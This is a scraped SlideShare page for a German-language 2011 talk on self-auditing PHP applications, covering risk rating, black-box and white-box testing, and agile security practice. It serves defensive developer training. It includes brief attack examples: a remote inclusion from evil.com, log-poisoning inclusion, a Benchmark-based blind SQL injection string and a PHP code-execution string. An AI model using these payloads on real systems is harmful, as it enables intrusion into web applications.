Your SlideShare is downloading. ×
0
SELF AUDITING PHP APPS      Travian Offsite 2011
ANTEIL ANGREIFBARER                  WEBSITES 2010         Information Leakage                                       64 % ...
I analyzed your security issues   and i came to the result:             YOU              IS             DUMB
I analyzed your security issues    and came to the result:            YOU          IS STILL            DUMB
Wir haben einen systematischen Fehler.
Wie gehe ich vor?
Risikobewertung
Einfach denDREADfragen!
Damage PotentialReproducabilityExploitablitityAffected UsersDiscoverability
„MD5 mit globalen Salt alsPasswort-Hash in der Datenbank?“Damage Potential - hochReproducability - niedrigExploitablitity ...
„XSS in einem Online-Spiel?“Damage Potential - mittelReproducability - hochExploitablitity - mittelAffected Users - niedri...
„SQL-Injection in der Payment-              Lösung?“Damage Potential - hochReproducability - hochExploitablitity - hochAff...
Ok, wir suchen also nach High-Risk-Issues, aber wie?
Black Box Testing   White Box Testing
Black Box Testing
INFORMATIONEN SAMMELN
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de   inurl:&
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de   inurl:&• Spidering Tools: wget     :-)...
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de   inurl:&• Spidering Tools: wget     :-)...
PARAMETER MANIPULATION
PARAMETER MANIPULATION
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname   vom Client
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname    vom Client• Bei   Default-Dom...
PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname    vom Client• Bei   Default-Dom...
Tools:  OWasp WebScarabOWasp Zed Attack Proxy Portswigger BurpSuite  Firefox Tamper Data
XSS   SQL-INJECTIONSBLIND SQL-INJECTIONS        CSRF
BORING ahead
BORING!XSS PENTEST
BORING!                XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document...
BORING!                   XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder docum...
BORING!                    XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder docu...
BORING!XSS PENTEST
BORING!                 XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden u...
BORING!                 XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden u...
BORING!                 XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden u...
BORING!CSRF PENTESTING
BORING!              CSRF PENTESTING• Prüfung: Existiert   ein Tokenschutz?
BORING!               CSRF PENTESTING• Prüfung: Existiert   ein Tokenschutz?• Falls   ja
BORING!               CSRF PENTESTING• Prüfung: Existiert   ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehbar?
BORING!                  CSRF PENTESTING• Prüfung: Existiert    ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehb...
BORING!                  CSRF PENTESTING• Prüfung: Existiert    ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehb...
BORING!                  CSRF PENTESTING• Prüfung: Existiert    ein Tokenschutz?• Falls   ja  • Ist   der Token vorhersehb...
BORING!(3 slides to go)
BORING!SQL INJECTION PENTESTING
BORING! SQL INJECTION PENTESTING• Parametermanipulation
BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test   mit Escape-Parametern und Sonderzeichen
BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test   mit Escape-Parametern und Sonderzeichen • Lassen   sich F...
BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test   mit Escape-Parametern und Sonderzeichen • Lassen   sich F...
BORING!SQL INJECTION PENTESTING
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped?
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING! SQL INJECTION PENTESTING• Rekonstruktion   der Query • Wird   der Wert direkt verwand oder escaped? • Position   d...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
BORING!SQL INJECTION PENTESTING -   BLIND SQL INJECTION• Nicht   jede Query liefert ein sichtbares Ergebnis• Aber: mankann...
AUTHENTIFIZIERUNG• Registration: Fehlermeldung    bei existierenden Loginnamen?• Gibt   es eine Brute-Force-Detection für ...
Auf die Weise war bei Wewaiiin ca 5 Min ein XSS zu finden.
White Box Testing
TOOLS• „grep“• IDE   mit • syntax     highlightening • guter      Code-Navigation• Dynamische      Code Analyse: Debugger ...
„Sources“• Quellen, deren   Daten man manipulieren kann• Siehe     Parameter Manipulation ($_REQUEST, $_POST, $_GET, $_COO...
„Sinks“• Nur    bestimmte Funktionen können zu Exploits führen• JedeExploitklasse hat ein eigenes Set an Funktionen zB: SQ...
SQL INJECTIONS• Funktionen: mysql_query, mysqli_query, pdo::query, ...• Deine    Datenbankabstraktion• Was   zu prüfen wär...
CODE EXECUTIONS• Funktionen:  • eval(), create_function(), preg_replace   mit modifier e,   usort, uasort, *_callback funct...
CODE INCLUSIONS• Funktionen    (include|require)[_once]• Lokal: include “/var/log/http/access.log“                        ...
SHELL EXECUTIONS• Funktionen: shell_exec (BackTicks!), exec(), system(), popen(), passthru()• mail()!• Executable         ...
INFORMATION LEAKAGE• Funktionen: fopen(), fread(), file(), debug_backtrace()...• Vulnerabilities:  • lokale   Dateien mit s...
XSS: Escaping prüfen• Überall   wo Daten für den Nutzer aufbereitet werden•5   Kontexte in HTML -> 5 verschiedene Escaping...
Tools für statische Codeanalyse• RIPS: http://websec.wordpress.com/tools/ • XSS, SQLi, Disclosure, ...(Nicht    PHP5-Kompa...
ORGANISATION
SECURITY  PUSH
SECURITY  PUSH
Einmalaktion:        Security Guidelines Bug Barrier         Developer-Knowhow  Initiales Audit
AGILESECURITY
EVIL USER STORIES  Als Hacker füge ich“<script>“ in alle URL-Parameter ein, um einen   XSS zu erzeugen.
Security Spikes            Security ReviewsDeveloper Audits Security Retrospectives
Security Achievement:       unlocked
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Self auditing php-code
Upcoming SlideShare
Loading in...5
×

Self auditing php-code

656

Published on

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
656
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
6
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide
  • Willkommen zum Vortrag - aber schauen wir mal an, wie die Situation draussen gerade so aussieht ... \n
  • Die Daten stammen aus einer Stichprobe von 3000 Unternehmenseiten. IT-Unternehmen stehen da im Schnitt noch mal eins schlechter da. Was passiert, wenn so eine L&amp;#xFC;cke von einem Hacker ausgenutzt wird? \n
  • Dein Chef kommt in den Raum, und fragt Dich, welcher von den Praktikanten die Website ge&amp;#xE4;ndert hat\n
  • Die sieht n&amp;#xE4;mlich gerade so aus. \n
  • Oder so, wenn man bei einer Bank oder Sony arbeitet. \n
  • Auf jeden Fall haben wir erst mal ein Problem. Der Chef fragt, was passiert ist und wie man es zu fixen gedenkt. \n
  • Und er holt einen Security-Experten der Wahl dazu. \n
  • Der Security-Consulting bekommt vor allem heraus, dass die Developer vermutlich weniger Ahnung von Security hatten als er und deshalb einige Fehler passiert sind. Er listet die Fehler auf, und der Developer darf sie korrigieren. \n
  • Der Developer macht sich also an die Arbeit und fixt die Bugs, und hofft, dass der Hacker seinen Spass hatte und woanders einkaufen geht.\n
  • Die Zeit vergeht ... \n
  • Und 2 Jahre sp&amp;#xE4;ter kommt Dein Chef wieder zu Dir und fragt Dich, welcher Praktikant an der Website war. \n
  • ... weil Deine Website jetzt so aussieht. \n
  • Und er holt einen Security-Experten der Wahl dazu. \n
  • Der Security-Consulting bekommt vor allem heraus, dass der Developer nichts dazu gelernt hat. \n
  • \n
  • Die L&amp;#xF6;sung: der Developer sollte wissen, wie Security funktioniert, damit er selbst f&amp;#xFC;r Sicherheit sorgen kann.\n
  • Aber wie gehe ich vor? Wogegen will ich mich &amp;#xFC;berhaupt absichern?\n
  • Genau, gegen meine gr&amp;#xF6;&amp;#xDF;ten Sicherheitsrisiken. Die m&amp;#xF6;chte ich bitte kennen und beheben.\n
  • Mein Problem ist aber: nicht alles, was wie ein Sicherheitsproblem aussieht, ist auch eins. \nAber wie unterscheide ich ein wirklich wichtiges von einem nicht so wichtigen Sicherheitsproblem?\n
  • Wie macht man eine brauchbare Bewertung des Risikos? \nFragen wir doch mal jemanden, der sich damit auskennt ... \n
  • Den Dread. Der Dread hat zu Zeiten von Code Red und Nimda bei Microsoft angefangen ist Experte in Risikobewertung. \n
  • Damage: Geldtransaktionen, personenbezogene Daten, In-Game-W&amp;#xE4;hrungen \nReproduzierbarkeit - sehr m&amp;#xFC;hsam oder in wenigen f&amp;#xE4;llen? \nExploitablity - kann ich es tats&amp;#xE4;chlich exploiten, oder ist es eine Second-Order-Attacke?\nAffected Users - wen betrifft es wirklich?\nDiscoverablity - wie leicht ist es zu entdecken, und damit: wie wahrscheinlich ist die Entdeckung?\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  • Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  • Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  • Um Informationen &amp;#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&amp;#xF6;chte - besonders welche mit formularen etc..\n
  • Wenn ich das habe, versuche ich mein Gl&amp;#xFC;ck mit Parameter Manipulation. \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Fragen ob bekannt?\n
  • Fragen ob bekannt?\n
  • Fragen ob bekannt?\n
  • Fragen ob bekannt?\n
  • Fragen ob bekannt?\n
  • Fragen ob bekannt?\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Hier helfen Tools wie SQLMap\n
  • Hier helfen Tools wie SQLMap\n
  • Hier helfen Tools wie SQLMap\n
  • Hier helfen Tools wie SQLMap\n
  • Hier helfen Tools wie SQLMap\n
  • Hier helfen Tools wie SQLMap\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • F&amp;#xFC;r uns PHPler: Zend IDE oder PHPStorm, oder eben VI oder Emacs f&amp;#xFC;r die religi&amp;#xF6;sen Fanatisten :-)\n
  • \n
  • \n
  • Parameter binding does just help 80% for sql injection!\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Was mache ich, damit ich es mache?\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Transcript of "Self auditing php-code"

    1. 1. SELF AUDITING PHP APPS Travian Offsite 2011
    2. 2. ANTEIL ANGREIFBARER WEBSITES 2010 Information Leakage 64 % Cross-Site-Scripting 64 % Content Spoofing 43 % Cross Site Request Forgery 24 % Brute Force 17 % Insufficient Authorization 15 %Predictable Resource Location 14 % SQL Injection 14 % Session Fixation 14 % Abuse of Functionality 10 % 0% 18% 35% 53% 70% (c) 2010 Whitehat Security
    3. 3. I analyzed your security issues and i came to the result: YOU IS DUMB
    4. 4. I analyzed your security issues and came to the result: YOU IS STILL DUMB
    5. 5. Wir haben einen systematischen Fehler.
    6. 6. Wie gehe ich vor?
    7. 7. Risikobewertung
    8. 8. Einfach denDREADfragen!
    9. 9. Damage PotentialReproducabilityExploitablitityAffected UsersDiscoverability
    10. 10. „MD5 mit globalen Salt alsPasswort-Hash in der Datenbank?“Damage Potential - hochReproducability - niedrigExploitablitity - niedrigAffected Users - niedrigDiscoverability - niedrigGesamtrisiko - niedrig
    11. 11. „XSS in einem Online-Spiel?“Damage Potential - mittelReproducability - hochExploitablitity - mittelAffected Users - niedrigDiscoverability - hochGesamtrisiko - mittel
    12. 12. „SQL-Injection in der Payment- Lösung?“Damage Potential - hochReproducability - hochExploitablitity - hochAffected Users - mittelDiscoverability - mittelGesamtrisiko - hoch
    13. 13. Ok, wir suchen also nach High-Risk-Issues, aber wie?
    14. 14. Black Box Testing White Box Testing
    15. 15. Black Box Testing
    16. 16. INFORMATIONEN SAMMELN
    17. 17. • Search Engines: robots.txt, sitemap.xml, site:travianer.de
    18. 18. • Search Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de inurl:&
    19. 19. • Search Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de inurl:&• Spidering Tools: wget :-), WebScarab, Burp Suite
    20. 20. • Search Engines: robots.txt, sitemap.xml, site:travianer.de• site:travianer.de inurl:&• Spidering Tools: wget :-), WebScarab, Burp Suite• 404-Seiten und Default-Urls (/admin/, /config, /scripts)
    21. 21. PARAMETER MANIPULATION
    22. 22. PARAMETER MANIPULATION
    23. 23. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies
    24. 24. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent
    25. 25. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname vom Client
    26. 26. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname vom Client• Bei Default-Domain: HTTP Host-Header
    27. 27. PARAMETER MANIPULATION• Get-Variablen, Post-Variablen, Cookies• User-Agent• DNS, Hostname vom Client• Bei Default-Domain: HTTP Host-Header• Accept-Header: Language, Encoding
    28. 28. Tools: OWasp WebScarabOWasp Zed Attack Proxy Portswigger BurpSuite Firefox Tamper Data
    29. 29. XSS SQL-INJECTIONSBLIND SQL-INJECTIONS CSRF
    30. 30. BORING ahead
    31. 31. BORING!XSS PENTEST
    32. 32. BORING! XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?
    33. 33. BORING! XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?• Wird die Seite mit diesem String manipuliert?
    34. 34. BORING! XSS PENTEST• Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?• Wird die Seite mit diesem String manipuliert?• Typisches Beispiel: Frames und Iframes
    35. 35. BORING!XSS PENTEST
    36. 36. BORING! XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt
    37. 37. BORING! XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt• Anhand des Auftrittsortes eine passende XSS-Payload konstruieren
    38. 38. BORING! XSS PENTEST• Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt• Anhand des Auftrittsortes eine passende XSS-Payload konstruieren• Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden
    39. 39. BORING!CSRF PENTESTING
    40. 40. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?
    41. 41. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja
    42. 42. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar?
    43. 43. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?
    44. 44. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?• Falls nein
    45. 45. BORING! CSRF PENTESTING• Prüfung: Existiert ein Tokenschutz?• Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?• Falls nein • existiert ein Referer-Check?
    46. 46. BORING!(3 slides to go)
    47. 47. BORING!SQL INJECTION PENTESTING
    48. 48. BORING! SQL INJECTION PENTESTING• Parametermanipulation
    49. 49. BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen
    50. 50. BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen • Lassen sich Fehlermeldungen provozieren?
    51. 51. BORING! SQL INJECTION PENTESTING• Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen • Lassen sich Fehlermeldungen provozieren? • Ändert sich etwas an den dargestellten Werten?
    52. 52. BORING!SQL INJECTION PENTESTING
    53. 53. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query
    54. 54. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped?
    55. 55. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler
    56. 56. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch
    57. 57. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch • Klammern-Tests
    58. 58. BORING! SQL INJECTION PENTESTING• Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch • Klammern-Tests • Feldzahl und -namen Erkennung mit Union
    59. 59. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION
    60. 60. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis
    61. 61. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren
    62. 62. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren• index.jsp?field=name&direction=ASC
    63. 63. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren• index.jsp?field=name&direction=ASC• ..direction=,Benchmark(1...0, md5(1)) ASC
    64. 64. BORING!SQL INJECTION PENTESTING - BLIND SQL INJECTION• Nicht jede Query liefert ein sichtbares Ergebnis• Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren• index.jsp?field=name&direction=ASC• ..direction=,Benchmark(1...0, md5(1)) ASC• Kann zur Passwortenumeration genutzt werden
    65. 65. AUTHENTIFIZIERUNG• Registration: Fehlermeldung bei existierenden Loginnamen?• Gibt es eine Brute-Force-Detection für Logins?• Dictionary-Attacke• (Auch nützlich für Identy Theft :-) )
    66. 66. Auf die Weise war bei Wewaiiin ca 5 Min ein XSS zu finden.
    67. 67. White Box Testing
    68. 68. TOOLS• „grep“• IDE mit • syntax highlightening • guter Code-Navigation• Dynamische Code Analyse: Debugger mit • Step Thru • Variablenintrospektion, Breakpoints
    69. 69. „Sources“• Quellen, deren Daten man manipulieren kann• Siehe Parameter Manipulation ($_REQUEST, $_POST, $_GET, $_COOKIE, $_SERVER, $_FILES, $_ENV, $GLOBALS...)• ->getParams(), ->getParam(), ->getModuleName() ...• Externe Services & eingebundene Quellen• ausgelesene Daten (GIF-Kommentare, CSV-Daten)
    70. 70. „Sinks“• Nur bestimmte Funktionen können zu Exploits führen• JedeExploitklasse hat ein eigenes Set an Funktionen zB: SQL Injections, Code Executions• Fazit: Jede Verwendung dieser Funktionen prüfen
    71. 71. SQL INJECTIONS• Funktionen: mysql_query, mysqli_query, pdo::query, ...• Deine Datenbankabstraktion• Was zu prüfen wäre: • sind die Werte korrekt escaped? • Auch Zahlen, Sortierkriterien und -richtungen? • Datenbank-, Tabellen- und Spaltennamen auch?
    72. 72. CODE EXECUTIONS• Funktionen: • eval(), create_function(), preg_replace mit modifier e, usort, uasort, *_callback functions• Gespeicherter und includierter Code: • Templates in Smarty • Cache-Daten• “-Strings können PHP-Code ausführen! “{${phpinfo}}“
    73. 73. CODE INCLUSIONS• Funktionen (include|require)[_once]• Lokal: include “/var/log/http/access.log“ mit user-agent / referer <?php ... ?>, aktueller mail()-from-Exploit• Remote: include “http://evil.com/hack.gif“• Other: “ftp://..“, “php://input...“, “data://...“• allow_url_fopen hilft nicht bei data und php!
    74. 74. SHELL EXECUTIONS• Funktionen: shell_exec (BackTicks!), exec(), system(), popen(), passthru()• mail()!• Executable und Parameter müssen bereinigt werden - escape_shell_args hilft nur bei “• Benutzung von escape_shell_cmd und escape_shell_args prüfen
    75. 75. INFORMATION LEAKAGE• Funktionen: fopen(), fread(), file(), debug_backtrace()...• Vulnerabilities: • lokale Dateien mit sensiblen Daten • bei allow_url_fopen Intranet/DMZ auslesen • lokale Konfigurationsdateien • zu verbose Fehlermeldungen
    76. 76. XSS: Escaping prüfen• Überall wo Daten für den Nutzer aufbereitet werden•5 Kontexte in HTML -> 5 verschiedene Escapings • Text: htmlentities() • Attributes: htmlspecialchars() • URLs: urlencode() • JavaScript- und Stylesheet-Strings: addcslashes() • HTML: Whitelist-Filters wie htmlpurifier
    77. 77. Tools für statische Codeanalyse• RIPS: http://websec.wordpress.com/tools/ • XSS, SQLi, Disclosure, ...(Nicht PHP5-Kompatibel)• Armorize CodeSecure http://www.armorize.com/ (ok und teuer)• HyperSource, Fortify (nur teuer)• Kein Ersatz für manuelle Audits
    78. 78. ORGANISATION
    79. 79. SECURITY PUSH
    80. 80. SECURITY PUSH
    81. 81. Einmalaktion: Security Guidelines Bug Barrier Developer-Knowhow Initiales Audit
    82. 82. AGILESECURITY
    83. 83. EVIL USER STORIES Als Hacker füge ich“<script>“ in alle URL-Parameter ein, um einen XSS zu erzeugen.
    84. 84. Security Spikes Security ReviewsDeveloper Audits Security Retrospectives
    85. 85. Security Achievement: unlocked
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×